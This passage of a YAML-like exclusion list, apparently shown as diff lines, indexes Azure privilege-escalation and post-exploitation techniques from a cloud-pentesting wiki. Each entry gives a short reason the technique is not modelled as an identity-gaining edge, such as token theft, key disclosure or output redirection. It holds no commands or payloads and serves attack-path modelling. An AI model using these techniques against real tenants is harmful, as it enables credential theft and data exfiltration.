src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshostfunctionkeyswrite-and-microsoftwebsitesslotshostfunctionkeyswrite + technique: Host function key write + reason: Not a master key; authorizes invoking functions only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshostsystemkeyswrite-and-microsoftwebsitesslotshostsystemkeyswrite + technique: Host system key write + reason: Authorizes extension webhooks only; invocation of existing code. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshostruntimevfsread + technique: hostruntime/vfs/read + reason: Source code read only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesconfigwrite + technique: Enable/disable functions via config/write + reason: Toggling functions alone is not an identity gain; config/write is modelled as azure-appservice-config-write. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitespublishxmlaction-microsoftwebsitesbasicpublishingcredentialspolicieswrite + technique: Microsoft.Web/publishingUsers/write (user-scope deployment credentials) + reason: User-scope credentials only work on apps where the principal already has deployment authorization; no new gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#start-existing-webjobs + technique: triggeredwebjobs/run, continuouswebjobs/start + reason: Runs existing code without attacker input; impact is behaviour-dependent, not an identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsiteshybridconnectionnamespacesrelayslistkeysaction + technique: Hybrid connection relay listKeys + reason: 'NEEDS SCHEMA: a Relay sender key can authenticate a bounded Relay sender identity, but the exact rule, usable key, allowed send operation, and prior-absence proof are not verified.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#read-configured-third-party-credentials + technique: Read third-party source-control tokens + reason: 'NEEDS SCHEMA: returned GitHub or Bitbucket tokens can confer external repository authority, but the target account, usable token, granted repository permissions, and prior-absence proof are not collected.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#update-app-code-from-the-source + technique: Update app code via configured repository + reason: Requires compromise of an external repository; RBAC-derived SCM credential path is modelled in app_services.yaml. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#storage-backed-external-function-packages + technique: Storage-backed external Function packages + reason: 'NEEDS SCHEMA: exact Function App to content storage binding, code overwrite, and identity execution are uncollected.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-log-analytics-privesc.md#log-analytics + technique: Page intro; workspace shared keys (listKeys/sharedKeys/regenerateSharedKey, no longer a separate heading at 171e422) + reason: Introductory section; shared keys only allow log ingestion/poisoning and disruption, no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-quantum-privesc.md#workspace-api-key-disclosure-and-regeneration + technique: Quantum workspace listKeys/regenerateKey + reason: "NEEDS SCHEMA: Exact workspace key identity, usable credential, and newly permitted job action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md#microsoftpurviewaccountslistkeysaction + technique: Purview listkeys (Atlas Kafka Event Hubs) + reason: Event injection/read on metadata pipeline; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-redis-privesc.md#microsoftcacheredislistkeysaction + technique: Redis listKeys / Managed Redis listKeys/regenerateKey + reason: "NEEDS SCHEMA: bind the returned classic Redis key to the exact cache/default user, enabled key auth, successful data-plane authentication, and commands newly available to the caller." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-fluid-relay-privesc.md#server-tenant-key-disclosure-and-regeneration + technique: Fluid Relay listKeys/regenerateKey + reason: "NEEDS SCHEMA: Exact Fluid tenant/subject, usable key-derived token, and new application permission must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-relay-privesc.md#relay-sas-key-disclosure + technique: Relay authorization rule listkeys/regenerateKeys + reason: "NEEDS SCHEMA: Exact relay authorization rule, usable SAS key, and newly permitted send/listen action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md#microsoftdesktopvirtualizationhostpoolsretrieveregistrationtokenaction + technique: AVD host pool registration token + reason: "NEEDS SCHEMA: Exact compliant session host, named session principal, observed credential/session capture, and newly authorized action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md#microsoftauthorizationroleassignmentsread-microsoftauthorizationroleassignmentswrite + technique: Assign Desktop Virtualization User via roleAssignments/write + reason: 'NEEDS SCHEMA: exact ABAC constraint, successful role assignment, and newly effective action are uncollected.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-deployment-privesc.md#read-declared-outputs-and-execution-logs + technique: deploymentScripts read / logs read + reason: Data read of outputs/logs; content-dependent exposure. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-template-spec-privesc.md#related-actions + technique: templateSpecs write/read/delete, deploymentStacks write + reason: Read/delete are exposure/DoS; deploymentStacks write is not a standalone escalation per the page. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sre-agent-privesc.md#microsoftappagentslistsecretsaction + technique: SRE Agent listSecrets + reason: Credential disclosure with unestablished downstream use (page says impact unpromoted). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sre-agent-privesc.md#microsoftappagentsdataconnectorslistsecretsaction + technique: SRE Agent data connector listSecrets + reason: 'NEEDS SCHEMA: returned connector secrets may authenticate a downstream identity, but exact subject, usable credential, newly permitted action, and prior-absence proof are not verified.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-notification-hubs-privesc.md#shared-access-keys + technique: Notification Hubs authorization rule listkeys/regenerateKeys + reason: "NEEDS SCHEMA: Exact hub authorization rule, usable key, and newly permitted send/listen/manage action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-notification-hubs-privesc.md#platform-notification-service-credentials + technique: Notification Hubs pnsCredentials + reason: "NEEDS SCHEMA: Exact third-party push service subject, usable credential, and newly permitted push action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-maps-privesc.md#microsoftmapsaccountslistkeysaction + technique: Maps listKeys / regenerateKey + reason: Maps data-plane shared key; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#microsoftdigitaltwinsdigitaltwinswrite + technique: Digital Twins query/read/write/relationships + reason: Graph data read/write; write is a second-order, consumer-dependent effect without a modelable identity edge. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md#microsoftdbformysqlflexibleserversread-microsoftdbformysqlflexibleserverswrite-microsoftdbformysqlflexibleserversbackupsread + technique: MySQL restore from backup + reason: Copies data into a new server; data access only (password reset path modelled separately). +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-attestation-post-exploitation.md#microsoftattestationattestationprovidersattestationwrite + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Attestation policy write + reason: Subverts trust decisions of relying workloads; no direct identity gain modelable from RBAC. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-speech-services-post-exploitation.md#batch-transcription-content-disclosure + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Speech transcription read + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-video-indexer-privesc.md#account-access-token--private-media-readwrite + technique: Video Indexer generateAccessToken / generateRestrictedViewerAccessToken + reason: "NEEDS SCHEMA: Exact Video Indexer account subject, token role, and newly permitted media action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#blind-source-replacement-with-microsoftsearchsearchservicesdatasourceswrite + technique: AI Search dataSources/write source replacement + reason: Data exfiltration through the Search identity; no identity gain for the source. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#blind-indexer-creation-with-microsoftsearchsearchservicesindexerswrite + technique: AI Search indexers/write + reason: Data exfiltration through the Search identity; no identity gain for the source. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#microsoftinsightsactiongroupsread + technique: Action group receiver URIs read + reason: "NEEDS SCHEMA: Exact signed callback, target automation identity, attacker-controlled invocation, and newly permitted action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#microsoftinsightswebtestsread + technique: Availability web test definition read + reason: "NEEDS SCHEMA: Exact credential in the stored request, its subject, usability, and newly permitted action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#microsoftinsightscomponentsapikeysaction + technique: Application Insights API key creation + reason: "NEEDS SCHEMA: Exact Application Insights key scope and newly permitted telemetry action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#microsoftinsightsgeneratelivetokenread + technique: Live Metrics token + reason: "NEEDS SCHEMA: Exact Live Metrics token scope and newly permitted stream action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md#queue-storage + technique: Page intro; queue message peek/get + reason: Introductory section; message reads are data access. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md#queue + technique: Queue data actions (message read/add/update, queue create/metadata write) + reason: Data access and disruption; the only escalation is through a downstream consumer, mapped as azure-queue-message-injection-consumer (#conditional-escalation-through-a-downstream-consumer). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-communication-services-privesc.md#microsoftcommunicationcommunicationserviceswrite + technique: ACS identity token minting via CommunicationServices/Write + reason: "NEEDS SCHEMA: Exact ACS communication identity and newly authorized service action after the write must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-communication-services-privesc.md#microsoftcommunicationcommunicationserviceslistkeysaction + technique: ACS ListKeys / RegenerateKey + reason: "NEEDS SCHEMA: Exact ACS service/key identity, usable key authority, and additional permitted action must be verified." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-stream-analytics-post-exploitation.md#sample-private-input-events + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Stream Analytics input sampling + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-stream-analytics-post-exploitation.md#redirect-a-running-jobs-output-sink-with-stop--outputswrite--start + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Stream Analytics output redirection + reason: Data exfiltration; no identity gain. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-batch-post-exploitation.md#read-plaintext-job-and-schedule-configuration + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Batch job/schedule configuration read + reason: Data read of configuration of unknown content. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesonlineendpointstokenaction + technique: Online endpoint AML token + reason: Scoring access to one endpoint; data/cost impact only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesserverlessendpointslistkeysaction + technique: Serverless endpoint listKeys + reason: Inference keys; data/cost impact only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#azure-ml-v1-environment-registry-credentials + technique: Azure ML V1 environment registry credentials + reason: Registry credential disclosure; image poisoning is second-order. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#stored-azure-openai-response-disclosure + technique: Stored Azure OpenAI responses + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#foundry-project-response-disclosure-through-aiservicesagentsread + technique: Foundry agents/read response disclosure + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftcognitiveservicesaccountslistkeysaction--microsoftcognitiveservicesaccountsregeneratekeyaction + technique: Cognitive Services listKeys / regenerateKey + reason: Service API keys; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftsearchsearchservicesindexesdocumentsread--microsoftsearchsearchservicesindexescontentsecurityelevatedoperationsread + technique: AI Search elevated read + reason: Data read bypassing document ACLs. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftsearchsearchservicesskillsetswrite + technique: AI Search skillsets/write + reason: 'NEEDS SCHEMA: exact Search skill/indexer execution, audience-bound token receipt, and new permission are uncollected.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftsearchsearchserviceslistquerykeysaction--microsoftsearchsearchservicescreatequerykeyaction + technique: AI Search query keys + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#data-asset-metadata-permissions-are-not-standalone-poisoning + technique: ML data asset metadata writes + reason: Page states not a standalone primitive. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftcontainerinstancecontainergroupsrestartaction-microsoftcontainerinstancecontainergroupsstartaction + technique: ACI restart/start + reason: 'Replays unchanged startup; no attacker-controlled code (page: Medium).' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappcontainerappsrevisionsactivateaction-microsoftappcontainerappsrevisionsrestartaction-microsoftappcontainerappsstartaction + technique: Container App revision activate/restart/start + reason: Runs existing code only; no attacker-controlled code. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappsessionpoolsfilescontentread + technique: Session pool file read + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappsandboxgroupssandboxesexecutecommandaction-and-microsoftappsandboxgroupssandboxesexecuteshellcommandaction + technique: ACA Sandbox command execution + reason: Code execution in isolated sandbox; page does not state a managed identity is reachable. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappsandboxgroupssandboxesfilesread + technique: ACA Sandbox file read + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappbuildslistauthtokenaction + technique: Container Apps build auth token + reason: Page states impact not demonstrated; conditional and not modelable. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceuserstokenaction + technique: APIM developer-portal user SSO token + reason: 'The broad historical portal-token entry had no exact user or usable-token proof. A separate typed variant now requires the exact portal subject, prior denial, and newly allowed action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicesubscriptionsread--microsoftapimanagementservicesubscriptionslistsecretsaction + technique: APIM subscription keys + reason: API access keys; data access only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceapikeyslistsecretsaction + technique: AI Gateway API keys + reason: Gateway runtime keys; configuration-dependent data access. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceworkspacestoolserverslistsecretsaction + technique: Tool Server secrets + reason: External credentials of unknown content. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceportalconfigslistdelegationsecretsaction-and-microsoftapimanagementserviceportalsettingslistsecretsaction + technique: Portal delegation keys + reason: 'NEEDS SCHEMA: delegation secrets can forge a portal user, but the exact forged subject, usable delegated credential, and newly permitted action are not verified.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceportalconfigslistmediacontentsecretsaction-and-microsoftapimanagementserviceportalsettingslistsecretsaction + technique: Portal media SAS + reason: Portal media data access. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicebackendsread + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Backend credentials read + reason: Stored header credentials of unknown content; data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicetenantlistsecretsaction + technique: Tenant access keys + reason: APIM direct management API only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicegatewaysgeneratetokenaction + technique: Self-hosted gateway token + reason: Gateway configuration access only. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#policy-read-permissions + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Policy read + reason: Data read of embedded values. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#jwt-validation-misconfiguration + technique: JWT validation misconfiguration + reason: Application-level misconfiguration; not an RBAC edge. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementserviceapplynetworkconfigurationupdatesaction + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Network configuration updates + reason: Network exposure change only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-bot-service-privesc.md#microsoftbotservicebotserviceschannelslistchannelwithkeysaction + technique: Bot channel keys + reason: "NEEDS SCHEMA: prove the exact Direct Line channel secret authenticates a concrete bot client identity with effective access beyond the caller." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-bot-service-privesc.md#microsoftbotservicebotserviceschannelsregeneratekeysaction + technique: Bot channel key regeneration + reason: "NEEDS SCHEMA: prove the exact rotated channel secret authenticates a concrete bot client identity with new effective access; rotation alone is not escalation." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-bot-service-privesc.md#microsofthealthbothealthbotslistsecretsaction + technique: Health Bot secrets + reason: "NEEDS SCHEMA: prove the returned secret authenticates a concrete Healthcare Agent management identity and grants effective access beyond the caller." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-bot-service-privesc.md#microsofthealthbothealthbotsadminsecretsgenerateapikeyaction + technique: Health Bot API key generation + reason: "NEEDS SCHEMA: prove the generated API key authenticates a concrete Healthcare Agent management identity and grants effective access beyond the caller." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriesrunslistlogsasurlaction + technique: ACR run log SAS + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriestaskslistdetailsaction-microsoftcontainerregistryregistriestaskrunslistdetailsaction + technique: ACR task listDetails + reason: Secret read of unknown content. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistrieswebhooksgetcallbackconfigaction + technique: ACR webhook callback config + reason: Callback secret read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbdatabaseaccountslistkeysaction + technique: Cosmos DB listKeys + reason: Data-plane key; data access. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbdatabaseaccountslistconnectionstringsaction + technique: Cosmos DB listConnectionStrings + reason: Data-plane key; data access. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbdatabaseaccountsreadonlykeysaction + technique: Cosmos DB read-only keys + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftinferenceserviceinferenceaccountslistkeysaction + technique: Inference account listKeys / regenerateKeys / invoke + reason: Billed inference access only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbmongoclustersread--microsoftdocumentdbmongoclustersfirewallruleswrite + technique: MongoDB cluster firewall rules write + reason: Network exposure only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#microsoftdatafactoryfactoriespipelinescreaterunaction + technique: Run an existing pipeline + reason: No attacker-controlled code; existing pipeline behaviour only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#exchange-a-supplied-github-authorization-code-with-factoriesgetgithubaccesstokenaction + historical_source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#steal-the-factorys-github-oauth-token-with-factoriesgetgithubaccesstokenaction + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb + technique: Factory GitHub OAuth token theft + reason: 'The broad historical GitHub-token entry had no exact account or usable-repository proof. A separate typed variant now requires exact subject, repository, prior denial, and newly allowed action (dataset sink-replacement section moved to post-exploitation).' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-factory-post-exploitation.md#read-plaintext-parameters-from-pipeline-run-history + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Pipeline run parameter read + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#secret-delivery-attribute-disclosure + technique: Event subscription secret delivery attributes + reason: Secret read of unknown content. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#signed-event-subscription-endpoint-disclosure + technique: Event subscription full endpoint URL + reason: Callback secret read (invokes triggers only). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#hijack-event-delivery-by-overwriting-a-subscription-with-eventsubscriptionswrite + technique: Event subscription destination overwrite + reason: Event exfiltration; any delivery token is audience-bound to the destination app, not a usable Azure identity edge. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#namespace-pull-subscription-data-disclosure + technique: Event Grid namespace events/receive + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#iot-hub-shared-access-policy-keys + technique: IoT Hub shared access keys + reason: "NEEDS SCHEMA: Exact IoT Hub policy identity, usable key, and newly permitted hub action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#device-provisioning-service-shared-access-policy-keys + technique: DPS shared access keys + reason: "NEEDS SCHEMA: Exact DPS policy identity, usable key, and newly permitted provisioning action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#device-and-module-identity-takeover + technique: IoT device/module identity takeover + reason: "NEEDS SCHEMA: Exact device or module identity, usable credential or assigned key, and newly permitted device action must be verified." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-iot-hub-post-exploitation.md#device-twin-disclosure-and-commandconfiguration-injection + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Device twin read/write + reason: Device configuration injection; device-side effect. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-iot-hub-post-exploitation.md#cloud-to-device-messages-direct-methods-and-jobs + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: C2D messages, direct methods, jobs + reason: Device-side effect; no Azure identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#full-registry-export-and-import + technique: Registry export/import + reason: "NEEDS SCHEMA: Exact exported device identity, usable credential, and newly permitted device action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#dps-attestation-key-disclosure-and-unauthorized-provisioning + technique: DPS attestation keys + reason: "NEEDS SCHEMA: Exact attested device or enrollment identity and newly permitted provisioning action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#lower-impact-boundaries + technique: IoT lower-impact operations + reason: Low impact per page. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespaceswrite--microsoftservicebusnamespacesread-if-az-cli-is-used + technique: Service Bus re-enable local auth + reason: Control weakening; no identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#access-key-disclosure-and-message-injection + technique: SignalR/Web PubSub access keys + reason: Real-time message control; application-dependent. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#signalr-temporary-signing-material-with-only-authaccesskeyaction + technique: SignalR auth/accessKey + reason: Real-time message control; application-dependent. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#targeted-client-message-injection + technique: SignalR/Web PubSub message injection + reason: Message injection; escalation depends on downstream consumer logic, not modelable from RBAC. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#web-pubsub-client-token-minimum-pair + technique: Web PubSub client token + reason: Application client connection only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#modify-network-restrictions + technique: Key Vault network ACL change + reason: Network reachability only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowstriggerslistcallbackurlaction + technique: Trigger callback URL + reason: Runs existing workflow logic only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowslistcallbackurlaction + technique: Workflow callback URL + reason: Runs existing workflow logic only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#integration-account-signed-callback-permissions + technique: Integration Account callback URLs + reason: Artifact content read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsversionstriggerslistcallbackurlaction + technique: Version trigger callback URL + reason: Runs stored workflow logic only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowstriggersrunaction + technique: Run existing trigger + reason: Runs existing workflow logic only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsrunaction + technique: Run existing workflow + reason: Runs existing workflow logic only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowstriggershistoriesresubmitaction + technique: Resubmit trigger history + reason: Replays existing logic only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsrunsactionsread + technique: Run action inputs/outputs read + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsrunsactionsrequesthistoriesread + technique: Webhook request history read + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsaccesskeyslistaction + technique: Workflow access keys + reason: Callback signing material; existing logic only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftwebsitespublishaction-microsoftwebsitesread-microsoftwebsitesbasicpublishingcredentialspoliciesread-microsoftwebsitesconfiglistaction-microsoftwebsitesstartaction + technique: Standard Logic App publish + reason: Duplicate of app_services.yaml Microsoft.Web/sites publish entries. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftwebconnectionswrite---redirect-a-future-workflow-through-attacker-credentials + technique: API connection credential replacement + reason: Data redirection; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicintegrationaccountsmapswrite---poison-a-future-xslt-transformation + technique: Integration Account map write + reason: Data manipulation; consumer-dependent. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md#microsoftdbforpostgresqlflexibleserversread-microsoftdbforpostgresqlflexibleserverswrite-microsoftdbforpostgresqlflexibleserversbackupsread + technique: PostgreSQL restore from backup + reason: Data copy; password reset path modelled separately. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#microsoftsqlserversfirewallruleswrite + technique: SQL firewall rules + reason: Network reachability only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#microsoftsqlserversipv6firewallruleswrite + technique: SQL IPv6 firewall rules + reason: Network reachability only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#microsoftsqlserversazureadonlyauthenticationswrite--microsoftsqlserversazureadonlyauthenticationsread + technique: SQL Entra-only authentication toggle + reason: Control weakening; used as condition of password reset entry. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#microsoftsqlserversdatabasesdatamaskingpolicieswrite + technique: Dynamic data masking policy + reason: Data exposure control. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#remove-row-level-security + technique: Remove row-level security + reason: Data-plane SQL permission; not RBAC. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#elastic-jobs-run-arbitrary-t-sql-through-jobagentsjobsstepswrite--executionswrite + technique: Elastic Jobs T-SQL as stored credential + reason: Reaches a SQL login of unknown privilege, not an Azure principal or necessarily admin. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsitessnippetswrite + technique: SWA snippet injection + reason: "NEEDS SCHEMA: Exact authenticated visitor principal, credential/session capture, and newly authorized action must be verified; generic client-side injection alone is terminal." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#read-configured-third-party-credentials + technique: Third-party source-control tokens + reason: "NEEDS SCHEMA: Exact GitHub or other source-control credential, subject, usability, and newly permitted action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#overwrite-file---overwrite-routes-html-js + technique: Overwrite repo files with GitHub token + reason: "NEEDS SCHEMA: Exact source-control or application principal, attacker-controlled file execution, and newly authorized action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsitesconfigwrite + technique: SWA basic auth change + reason: Content access control only. +- source: 